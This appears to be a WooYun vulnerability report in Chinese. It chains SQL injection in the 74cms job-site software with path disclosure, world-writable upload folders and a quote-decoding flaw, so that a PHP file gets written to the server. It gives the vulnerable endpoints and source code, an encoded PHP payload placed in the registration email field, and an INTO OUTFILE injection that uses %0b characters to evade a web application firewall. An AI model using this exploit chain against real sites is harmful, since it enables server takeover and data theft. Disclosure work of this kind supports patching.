WooYun.org

通过SQL注入加上select * from table into outfile "filename"来完成SHELL的写入。

必要条件：

1. SQL注入。

2. Server的文件保存路径。

3. 具有写权限的目录。

4. 还有一个是74cms会过滤‘“字符，我们需要有方法能注入’”来完成写入SHELL的SQL语句。



以下逐条详细说明。

0x01: SQL注入

======================================

我们有现成的，74cms一直忽略不修正的这个：http://**.**.**.**/bugs/wooyun-2014-080490（74cms全局SQL注入过滤绕过）。我们使用这个URL：

http://**.**.**.**/plus/ajax_user.php?act=check_usname

0x02: Server的文件保存路径。

======================================

这个URL暴露了server的文件路径：

http://**.**.**.**/data/filetpl.php

3. 具有写权限的目录。

======================================

http://**.**.**.**/bugs/wooyun-2014-081223曾经提到过，'data/'目录下很多上传文件的目录创建是0777权限建立的。

注册一个公司用户，长传logo，这是会建立0777权限的目录：'data/logo/2015/04/14',shell就传到这个目录吧。



4. 能带入‘“字符。

======================================

其实这个也很简单，’我们没办法注入。但是74cms提供了带入”的方法。

文件：include/common.fun.php

13  function addslashes_deep($value)


  14  {


  15      if (empty($value))


  16      {


  17          return $value;


  18      }


  19      else


  20      {


  21          if (!get_magic_quotes_gpc())


  22          {


  23          $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));


  24          }


  25          else


  26          {


  27          $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);


  28          }


  29          return $value;


  30      }


  31  }


  32  function mystrip_tags($string)


  33  {


  34      $string = new_html_special_chars($string);


  35      $string = remove_xss($string);


  36      return $string;


  37  }


  38  function new_html_special_chars($string) {


  39      $string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);


  40      $string = strip_tags($string);


  41      return $string;


  42  }

new_html_special_chars()函数做了这个事情：

$string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);

也就是在POST或者GET的参数中存在&quot;，都会被替换成"。



万事具备只欠东风。。。风儿那个吹阿吹。。。



因为我们使用的是http://**.**.**.**/plus/ajax_user.php?act=check_usname，这个是查询的用户表，因此我们还需要注册一个用户来带入shell脚本。



注册用户:

提交注册的时候使用burp拦截一下，我们改一下数据包：

将payload的email字段改为：

%3c%0b%3fphp+phpinfo()%3b+%3f%0b%3e

http://**.**.**.**/bugs/wooyun-2014-080646介绍过<%0b...%0b>会被过滤为<...>

提交注册成功之后我们在浏览器里面看看uid：

注入生成SHELL：

http://**.**.**.**/plus/ajax_user.php?act=check_usname


POST：


usname=%88%ec%27 or uid=744%20in%0bto%20out%0bfile%20%26quot;D:%0b\web\demo\data\logo\2015\04\14\test.php%26quot;%23

%0b会在全剧过滤的时候删除，所以我们利用这个特性绕过安全狗。执行后生成文件D:\web\demo\data\logo\2015\04\14\test.php



浏览器浏览：

http://**.**.**.**/data/logo/2015/04/14/test.php